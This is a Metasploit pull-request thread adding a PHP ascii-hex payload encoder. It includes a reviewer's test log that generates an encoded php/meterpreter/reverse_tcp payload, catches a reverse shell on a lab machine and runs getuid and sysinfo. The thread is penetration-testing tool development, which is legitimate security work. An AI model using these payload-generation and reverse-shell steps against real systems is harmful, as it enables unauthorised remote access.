Add modules/encoders/php/hex.rb

[jvoisin]

This one increases the size of the payload by a bit more than a factor two, but should be able to generate a valid encoded payload in some pathological BADCHAR situations where modules/encoders/php/base64.rb can't.

[jvoisin]

C: 47: 7: [Correctable] Style/Next: Use next to skip iteration.

Since the condition results in a raise, I don't think next is needed/useful.

[smcintyre-r7]

I tested this out using PHP 8.3.10 both with and without compression. It worked in both cases. I pushed up a small change to fix the rubocop issues just to make the tests pass and get it into a state where we can land it. Once the tests do pass, I'll merge it.

Thanks for contributing this encoder module!

msf6 payload(php/meterpreter/reverse_tcp) > generate -e php/hex -f raw -o /tmp/meterpreter.php COMPRESS=true
[*] Writing 1050 bytes to /tmp/meterpreter.php...
msf6 payload(php/meterpreter/reverse_tcp) > to_handler 
[*] Payload Handler Started as Job 1

[*] Started reverse TCP handler on 192.168.159.128:4444 
msf6 payload(php/meterpreter/reverse_tcp) > [*] Sending stage (39927 bytes) to 192.168.159.128
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.128:48286) at 2024-08-28 10:45:36 -0400

msf6 payload(php/meterpreter/reverse_tcp) > 
msf6 payload(php/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: smcintyre
meterpreter > sysinfo
Computer    : fedora-vm
OS          : Linux fedora-vm 6.10.3-200.fc40.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug  5 14:30:00 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter > exit
[*] Shutting down session: 2

[*] 192.168.159.128 - Meterpreter session 2 closed.  Reason: User exit
msf6 payload(php/meterpreter/reverse_tcp) > 

[smcintyre-r7]

Release Notes

This adds an ascii-hex encoder for PHP with optional compression.